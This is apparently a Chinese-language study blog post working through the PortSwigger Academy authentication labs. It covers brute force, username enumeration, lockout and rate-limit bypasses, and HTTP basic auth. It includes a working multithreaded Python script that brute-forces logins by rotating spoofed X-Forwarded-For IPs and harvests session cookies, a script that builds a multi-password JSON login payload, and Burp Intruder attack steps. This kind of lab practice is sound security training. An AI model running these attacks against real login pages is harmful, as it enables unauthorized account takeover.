PortSwigger Academy | Authentication : 身份认证

文章目录

PortSwigger Academy | Authentication : 身份认证

在本节中,我们将介绍一些网站使用的最常见的身份验证机制,并讨论其中的潜在漏洞。我们将重点介绍不同身份验证机制中的固有漏洞,以及由于身份验证的不恰当实现而引入的一些典型漏洞。最后,我们将提供一些基本指导,说明如何确保您自己的身份验证机制尽可能地健壮。

一如既往,我们创建了一些交互式实验室供您练习利用这些漏洞。如果您已经熟悉这个主题,您可以直接进入实验室来测试您的技能。

1 什么是身份验证?

身份验证是验证给定用户或客户端身份的过程。换言之,它涉及到确保他们真的是他们声称的那个人。至少在某种程度上,网站是暴露给任何连接到互联网上的人的。因此,健壮的身份验证机制是有效web安全的一个重要方面。

有三种身份验证因素可将不同类型的身份验证分为:

  • 你知道的东西,如密码或安全问题的答案。这些有时被称为“知识因素”。

  • 你拥有的东西,也就是一个物理物体,比如手机或安全令牌。这些有时被称为“占有因素”。

  • 你正在做或正在做的事情,例如,你的生物特征或行为模式。这些有时被称为“内在因素”。

身份验证机制依赖于一系列技术来验证这些因素中的一个或多个。

1.1 身份验证和授权有什么区别?

身份验证是验证用户是否真的是他们声称的用户的过程,而授权涉及验证是否允许用户做某事

在网站或web应用程序的上下文中,身份验证确定试图使用用户名Carlos123访问网站的人是否真的是创建帐户的同一个人。

一旦Carlos123通过身份验证,他的权限就决定了他是否有权访问其他用户的个人信息或执行删除其他用户帐户等操作。

2 身份验证漏洞是如何产生的?

从广义上讲,身份验证机制中的大多数漏洞都以以下两种方式之一出现:

  • 认证机制很弱,因为它们无法充分防止暴力攻击。

  • 实现中的逻辑缺陷或糟糕的编码允许攻击者完全绕过身份验证机制。这有时被称为“身份验证中断”。

在web开发的许多领域,逻辑缺陷只会导致网站出现意外行为,这可能是安全问题,也可能不是。然而,由于身份验证对安全性如此关键,有缺陷的身份验证逻辑使网站暴露于安全问题的可能性明显增加。

3 易受攻击的身份验证有何影响?

身份验证漏洞的影响可能非常严重。一旦攻击者绕过身份验证或强行闯入另一个用户的帐户,他们就可以访问受损帐户拥有的所有数据和功能。如果他们能够破坏高特权帐户(如系统管理员),他们就可以完全控制整个应用程序,并有可能获得对内部基础设施的访问权。

即使泄露低特权帐户,攻击者仍然可以访问他们本不应该拥有的数据,如商业敏感业务信息。即使该帐户无法访问任何敏感数据,它也可能允许攻击者访问其他页面,从而提供进一步的攻击面。通常,某些高严重性攻击不可能从公开访问的页面进行,但它们可能从内部页面进行。

4 身份验证机制中的漏洞 ↓

网站的身份验证系统通常由几个不同的机制组成,在这些机制中可能会出现漏洞。一些漏洞广泛适用于所有这些上下文,而另一些则更特定于所提供的功能。
我们将更仔细地研究以下领域中一些最常见的漏洞:

  • 基于密码的登录实验室中的漏洞
  • 多因素身份验证实验室中的漏洞
  • 其他身份验证机制中的漏洞

请注意,有几个实验室要求您枚举用户名和暴力口令。为了帮助您完成这个过程,我们提供了一个候选用户名和密码的短名单,您应该使用这些用户名和密码来解决实验室的问题。

4.1 第三方身份验证机制中的漏洞

如果您喜欢破解身份验证机制,那么在完成我们的主要身份验证实验室之后,更高级的用户可能希望尝试和解决我们的开发认证 2.0身份验证实验室。(以后再看)

4.2 防止对您自己的身份验证机制的攻击 ↓

我们已经演示了几种方法,在这些方法中,网站可能会由于如何实现身份验证而受到攻击。为了降低对您自己的网站进行此类攻击的风险,您应该始终遵循以下几个一般原则。


接上文: 身份验证机制中的漏洞 ↑

1 基于密码的登录中的漏洞

Vulnerabilities in password-based login
在本节中,我们将更仔细地研究一些基于密码的登录机制中最常见的漏洞。我们还将提出一些可能被利用的方法。甚至还有一些交互式实验室,您可以自己尝试利用这些漏洞。

对于采用基于密码的登录过程的网站,用户可以自己注册帐户,也可以由管理员为其分配帐户。此帐户与一个唯一的用户名和一个秘密密码相关联,用户在登录表单中输入该用户名和密码以进行身份验证。

在这种情况下,他们知道秘密密码这一事实就足以证明用户的身份。因此,如果攻击者能够获取或猜测其他用户的登录凭据,则网站的安全性将受到损害。

这可以通过多种方式实现,我们将在下面探讨。

1.1 暴力破解

暴力破解是指攻击者使用试错系统试图猜测有效的用户凭据。这些攻击通常是使用用户名和密码的单词列表自动进行的。自动化此过程,特别是使用专用工具,可能会使攻击者以高速进行大量登录尝试。

暴力破解并不总是完全随机猜测用户名和密码。通过使用基本逻辑或公开的知识,攻击者可以对暴力攻击进行微调,从而做出更有根据的猜测。这大大提高了此类攻击的效率。依赖基于密码的登录作为唯一身份验证用户方法的网站,如果没有实施足够的暴力保护,可能会非常容易受到攻击。

1.1.1 暴力破解用户名

如果用户名符合可识别的模式(例如电子邮件地址),那么就特别容易猜测。例如,以这种格式查看业务登录是非常常见的名字。姓氏 @somecompany.com网站. 然而,即使没有明显的模式,有时甚至使用可预测的用户名(如adminadministrator)创建高特权帐户。

在审计过程中,检查网站是否公开披露潜在用户名。例如,您是否能够在不登录的情况下访问用户配置文件?即使配置文件的实际内容是隐藏的,配置文件中使用的名称有时与登录用户名相同。您还应该检查HTTP响应以查看是否有任何电子邮件地址被泄露。有时,回复会包含高权限用户(如管理员和IT支持人员)的电子邮件地址。

1.1.2 暴力破解密码

类似地,密码也可以被暴力破解,其难度根据密码的强度而有所不同。许多网站采用某种形式的密码策略,强制用户创建高熵密码,至少理论上,仅使用暴力破解更难。这通常涉及强制使用以下密码:

  • 最少字符数
  • 大写字母和小写字母的混合体
  • 至少一个特殊字符

然而,虽然高熵密码很难单独被计算机破解,但我们可以利用人类行为的基本知识来利用用户无意中引入到这个系统中的漏洞。用户通常会选择一个他们能记住的密码,并试图拓展它以适应密码策略,而不是创建一个随机字符组合的强密码。例如,如果不允许mypassword,用户可以尝试Mypassword1之类的东西!或者改为Myp4$$w0rd

在策略要求用户定期更改密码的情况下,用户通常只对首选密码进行微小的、可预测的更改。例如,Mypassword1!变成Mypassword1?或者Mypassword2!

这种对可能的凭证和可预测模式的了解意味着暴力攻击通常比简单地遍历每个可能的字符组合更复杂,因此更有效。

1.2 用户名枚举

用户名枚举是指攻击者能够观察网站行为的变化,以确定给定用户名是否有效。

用户名枚举通常发生在登录页上,例如,当你输入一个有效的用户名但密码不正确,或在注册表单上当你输入一个用户名显示已经被占用。这大大减少了强制登录所需的时间和精力,因为攻击者能够快速生成有效用户名的短名单。

在尝试强制登录页面时,应特别注意以下方面的任何差异:

  • 状态码:在暴力攻击期间,返回的HTTP状态码对于绝大多数猜测可能是相同的,因为大多数猜测都是错误的。如果guess返回不同的状态码,则强烈表示用户名是正确的。无论结果如何,网站总是返回相同的状态码是最佳做法,但并不总是遵循这种做法。

  • 错误消息:有时返回的错误消息会有所不同,这取决于用户名和密码是否都不正确,或者只有密码不正确。最好的做法是网站在这两种情况下都使用相同的通用消息,但有时会出现一些小的键入错误。只要一个字符不在适当的位置,就可以使两条消息区别开来,即使在呈现的页面上该字符不可见的情况下也是如此。

  • 响应时间:如果大多数请求都是以类似的响应时间处理的,那么任何与此不同的请求都表明在幕后发生了一些不同的事情。这是猜测的用户名可能是正确的另一个迹象。例如,网站可能只会在用户名有效的情况下检查密码是否正确。这个额外的步骤可能会导致响应时间稍微增加。这可能很微妙,但攻击者可以通过输入过长的密码使延迟变得更明显,而网站需要更长的时间来处理该密码。

Lab: Username enumeration via different responses

不验证csrf,没啥好说的先爆破用户名,再爆破密码
PortSwigger Academy | Authentication : 身份认证

Lab: Username enumeration via subtly different responses

通过对比返回包上微小的差异,可能是人为的,可能是失误吧。
PortSwigger Academy | Authentication : 身份认证
用户名知道了,再爆破密码即可

Lab: Username enumeration via response timing

这一关对中国用户来说太痛苦了,网络波动太大了,根本区分不了
没办法,只能笛卡尔积+递增ip来进行爆破了,但是burp好像没法实现,额,只能自己写了
格式可能不太对,记得调一下

# python3.9
import requests
import re
import time
import threading
import queue


class TimeOutLib:
    url = ''
    # 使用线程安全的队列
    queue_data = queue.Queue(maxsize=0)  # 先进先出队列,这里就设置无限大好了
    queue_print = queue.Queue(maxsize=0)  # 先进先出队列,这里就设置无限大好了
    lib_session = ''
    csrf_token = ''
    thread_num = 50  # 想改线程数量的话改这里
    # money_num = 100
    # headers = {}
    # gift_cards_code_list = []
    # can_buy_gift_card_num = 0

    def __init__(self, url_):
        self.url = url_

    def start(self):
        print('start:')
        print("step 1 : response timing brute force going...")
        # 这里实现多线程和笛卡尔积(username x passwd)和ip增长和爆破  唉,四个功能 先写出来看看,要不要分函数吧
        # 设想一下,先建一个队列,队列是一个list包括[{ip,username,password}],反正笛卡尔积后也就1万个,就直接计算出来好了,方便一点
        # 因为输出的时候,线程会进行抢占,所以输出也要一个队列
        # 生成list
        # self.queue_data.put({'ip': '127.1.1.1', 'username': 'wiener', 'passwd': 'peter'})  # 测试数据
        self.create_brute_force_data()
        # 先获取session和csrf token
        self.get_session_and_csrf_token()
        # 先模拟一次登陆,然后尝试多线程
        # self.login_to_lib()
        # 尝试多线程
        thread_list = []
        for _ in range(self.thread_num):
            # thread = threading.Thread(target=self.login_to_lib())
            # thread = threading.Thread(target=self.login_to_lib)
            # 一步之差天壤之别,好好看看上面这俩代码有啥区别,一个是创建直接执行, 一个是创建 坑死我了,好好的多线程被我写成了单线程。
            thread = threading.Thread(target=self.login_to_lib)
            thread_list.append(thread)
        for t in thread_list:
            t.start()
        # 打印队列长度
        print("计算剩下的队列长度")
        while True:
            i = self.queue_data.qsize()
            print(i, end=" ")
            if i == 0:
                break
            time.sleep(10)

    def login_to_lib(self):  # 这个实验不需要CSRF和会话绑定,谁说的? 需要绑定,只是csrf用一次不会过期罢了
        login_url = self.url + 'login'  # 拼接登录用url
        # 进行登陆
        while True:
            # print("?")
            current_data = self.queue_data.get()
            headers = {"X-Forwarded-For": current_data['ip'], 'Cookie': 'session=' + self.lib_session}
            data = {"csrf": self.csrf_token, "username": current_data['username'], "password": current_data['passwd']}
            # 下面这句话要做错误处理
            try:
                # r_post_login_page = requests.post(login_url, headers=headers, allow_redirects=False, data=data,
                #                                 timeout=60, proxies={"https": "https://127.0.0.1:8080"}, verify=False)
                r_post_login_page = requests.post(login_url, headers=headers, allow_redirects=False, data=data,
                                                  timeout=60)
                # 匹配返回的session
                if r_post_login_page.status_code == 302:
                    print("\n get login session :", r_post_login_page.headers['Set-Cookie'])
                    with open("1.txt") as file:
                        file.write(r_post_login_page.headers['Set-Cookie'])
            except:
                # 要是发生了错误,写到队列里去,然后线程重新去试
                self.queue_data.put(current_data)

    def get_session_and_csrf_token(self):
        login_url = self.url + 'login'  # 拼接登录用url
        # 请求登陆页面获取session 和 csrf token
        # r_get_login_page = requests.get(login_url, proxies={"https": "http://127.0.0.1:8080"}, verify=False)
        r_get_login_page = requests.get(login_url)
        # 匹配csrf token
        r_body = r_get_login_page.text
        self.csrf_token = re.search(r'<input required type="hidden" name="csrf" value="(.*)">', r_body).group(1)
        # 匹配session
        self.lib_session = re.search(r'session=(.*); Path=/; Secure; HttpOnly; SameSite=None',
                                     r_get_login_page.headers['Set-Cookie']).group(1)
        print("get csrf token and session:", self.csrf_token, self.lib_session)

    def create_brute_force_data(self):
        # 先生成1万个{'ip': '127.0.x.x'}
        data_list = []
        i = 0
        for ip_3 in range(255):
            for ip_4 in range(1, 255):
                data = {"ip": "127.0.%s.%s" % (ip_3, ip_4)}
                data_list.append(data)
                i += 1
                if i >= 10000:
                    break
            if i >= 10000:
                break
        # 再把笛卡尔积加进去 {'ip': '127.0.39.94', 'username': 'autodiscover', 'passwd': 'moscow'}
        file_username_ = open(r"F:\weakpass_dict\burp-lab-username.txt")  # 不要忘了关文件,虽然对这个小程序没多大影响
        file_passwd_ = open(r"F:\weakpass_dict\burp-lab-passwd.txt")
        file_username = file_username_.readlines()
        file_passwd = file_passwd_.readlines()
        num = 0
        for i in file_username:
            i = i.replace('\n', '')
            for j in file_passwd:
                j = j.replace('\n', '')
                data = {"username": i, "passwd": j}
                data_list[num].update(data)
                num += 1
        file_username_.close()
        file_passwd_.close()
        # print(data_list)
        for i in data_list:
            self.queue_data.put(i)


if __name__ == "__main__":
    # 不能允许超时,未响应必须重试,还需要多线程
    # 必须一次成功,不能出错,一万个payload
    # 就算网络出问题,也是脚本的锅
    print("usage: 你需要把你的lib地址直接复制到代码里(带上最后的反斜杠) --> url")
    lib_url = 'https://ac7a1fd31ed37bf0804e4e1e00b40009.web-security-academy.net/'
    lib = TimeOutLib(lib_url)
    time1 = time.time()
    lib.start()
    time2 = time.time()
    print('time used ', int(time2-time1), 's')

哈哈拿到sessionid了
PortSwigger Academy | Authentication : 身份认证
替换一下即可
PortSwigger Academy | Authentication : 身份认证

1.3 有缺陷的暴力破解保护

Flawed brute-force protection

在攻击者成功破坏帐户之前,蛮力攻击很可能会涉及许多失败的猜测。从逻辑上讲,暴力破解保护的核心是尽量使自动处理过程变得复杂,并降低攻击者尝试登录的速度。防止暴力破解的两种最常见的方法是:如果远程用户多次尝试登录失败,则锁定其试图访问的帐户;如果远程用户连续多次尝试登录,则阻止其IP地址

Lab: Broken brute-force protection, IP block

在Burp运行的情况下,调查登录页面。 如果您连续提交3个错误的登录,请观察您的IP被阻止。 但是,您可以通过在达到限制之前登录自己的帐户来重置计数器
再爆破中交替使用正确用户名密码来进行IP封禁干扰

PortSwigger Academy | Authentication : 身份认证
因为网络问题,还是把线程调到1为好,要不然大概率出错
PortSwigger Academy | Authentication : 身份认证
PortSwigger Academy | Authentication : 身份认证

1.3.1 账户锁定

网站防止暴力破解的一种方法是在满足某些可疑条件(通常是登录失败次数)时锁定账户。与正常的登录错误一样,来自服务器的指示帐户被锁定的响应也可以帮助攻击者枚举用户名。

Lab: Username enumeration via account lock

把字典直接复制粘贴5次,没必要同一个用户名要挨着

PortSwigger Academy | Authentication : 身份认证
当然使用笛卡尔积爆破也是可以的

在运行Burp的情况下,调查登录页面并提交无效的用户名和密码。 将POST / login请求发送到Burp Intruder。
选择攻击类型“集群炸弹”。 将有效负载位置添加到username参数。 在请求的末尾添加一个任意的附加参数,并向其添加第二个有效负载位置。 例如:
username =§无效用户名§&password = example&count =§0§。
在“有效载荷”选项卡上,将用户名列表添加到第一个有效载荷集,并将数字1-5作为第二个有效载荷集。 这将导致用户名重复5次。 开始攻击。
PortSwigger Academy | Authentication : 身份认证

好吧,这是关于账户锁定部分的:

将密码列表添加到有效负载集中,并为错误消息创建grep提取规则。 开始攻击。
在结果中,查看grep提取列。 请注意,有几个不同的错误消息,但是其中一个响应不包含任何错误消息。 记下该密码。
在浏览器中,请等待一分钟以重置帐户锁定,然后使用您标识的凭据登录。

PortSwigger Academy | Authentication : 身份认证
锁定账户可以提供一定的保护,防止针对特定账户的暴力攻击。然而,这种方法不能充分防止暴力破解攻击,在这种攻击中,攻击者只是试图获得他们所能获得的任何随机帐户的访问权。

例如,下面的方法可能用来绕过这种保护

  • 建立一个用户名字典(最好是能收集到系统中存在的用户名)
  • 建立一个小字典(如果网站5次尝试就锁定账户,那么就设置4个最可能的密码)
  • 然后爆破

或者撞库:帐户锁定也无法防止凭证填充攻击。这涉及到使用一个庞大的用户名密码对字典,由在数据泄露中窃取的真实登录凭证组成。凭证填塞依赖于这样一个事实,即许多人在多个网站上重复使用相同的用户名和密码,因此,字典中的一些被破坏的凭证有可能在目标网站上也是有效的。帐户锁定不能防止凭证堆积,因为每个用户名只被尝试一次。凭证填充物尤其如此

1.3.2 用户速率限制

网站尝试防止暴力攻击的另一种方法是通过限制用户速率。 在这种情况下,在短时间内发出太多登录请求会导致您的IP地址被阻止。 通常,只能以下列方式之一解除对​​IP的限制:

  • 一段时间后自动解禁

  • 由管理员解禁

  • 填写验证码后解禁

有时最好使用用户速率限制而不是帐户锁定,因为它不太容易出现用户名枚举和拒绝服务攻击。 但是,用户速率限制仍然不是完全安全。 正如我们在较早的实验室中看到的一个示例一样,攻击者可以通过多种方式操纵其表观IP来绕过该块。

由于限制是基于从用户IP地址发送的HTTP请求的速率,因此,如果您可以确定如何通过单个请求猜测多个密码,有时也可以绕过此防御。

单个请求猜测多个密码??????

Lab: Broken brute-force protection, multiple credentials per request

import json


a = {"csrf": "ICe83RrXQgGdvOtylT4xJZYKh1vc0mfa", "username": "carlos", "password": "admin"}

list_passwd = []

with open(r"F:\weakpass_dict\burp-lab-passwd.txt") as file:
    file_lines = file.readlines()

    for i in file_lines:
        list_passwd.append(i.replace("\n", ""))

passwd = {"password": list_passwd}

a.update(passwd)

print(json.dumps(a))

在浏览器打开即可
PortSwigger Academy | Authentication : 身份认证

1.4 HTTP基本认证

尽管它已经相当老了,但是它相对简单和易于实现,这意味着您有时可能会看到正在使用HTTP基本认证。 在HTTP基本身份验证中,客户端从服务器接收身份验证令牌,该身份验证令牌是通过串联用户名和密码并在Base64中对其进行编码而构造的。 该令牌由浏览器存储和管理,浏览器自动将其添加到每个后续请求的Authorization标头中,如下所示:

Authorization: Basic base64(username:password)

由于多种原因,通常不将其视为安全的身份验证方法。 首先,它涉及在每个请求中重复发送用户的登录凭据。 除非该网站还实施HSTS,否则用户凭据很容易在中间人攻击中被捕获。

另外,HTTP基本身份验证的实现通常不支持暴力保护。 由于令牌仅由静态值组成,因此可能容易受到暴力攻击。

HTTP基本身份验证也特别容易受到与会话相关的攻击的影响,尤其是CSRF,它无法单独提供保护。

在某些情况下,利用易受攻击的HTTP基本身份验证可能只会授予攻击者访问看似无趣的页面的权限。 但是,除了提供进一步的攻击面外,以这种方式公开的凭据可能会在其他更机密的上下文中重用。


接上文: 身份验证机制中的漏洞 ↓

2 多因素身份验证中的漏洞

在本节中,我们将研究多因素身份验证机制中可能发生的一些漏洞。我们还提供了几个交互式实验室,以演示如何利用多因素身份验证中的这些漏洞。

许多网站仅依靠使用密码的单因素身份验证来验证用户。但是,有些要求用户使用多个身份验证因素来证明其身份。

对于大多数网站来说,验证生物特征因素是不切实际的。但是,越来越多的情况是基于已知和已有的知识同时进行强制性和可选的双重身份验证(2FA)。这通常要求用户从其拥有的外部物理设备中输入传统密码和临时验证码。

尽管有时攻击者可能获得单个基于知识的因素(例如密码),但是从外部源同时获得另一个因素的可能性却大大降低。由于这个原因,两要素认证显然比单要素认证更安全。但是,与任何安全措施一样,他只是安全防护的方式之一。就像单因素身份验证一样,糟糕的两因素身份验证可以被击败,甚至被完全绕开。

还值得注意的是,只有通过验证多个不同因素才能实现多因素身份验证的全部好处。以两种不同方式验证同一因素不是真正的两因素身份验证(比如输入两个密码

上一篇:SpringSecurity 用户名和密码的校验过程及自定义密码验证


下一篇:mysql8.0 Authentication plugin 'caching_sha2_password' cannot be loaded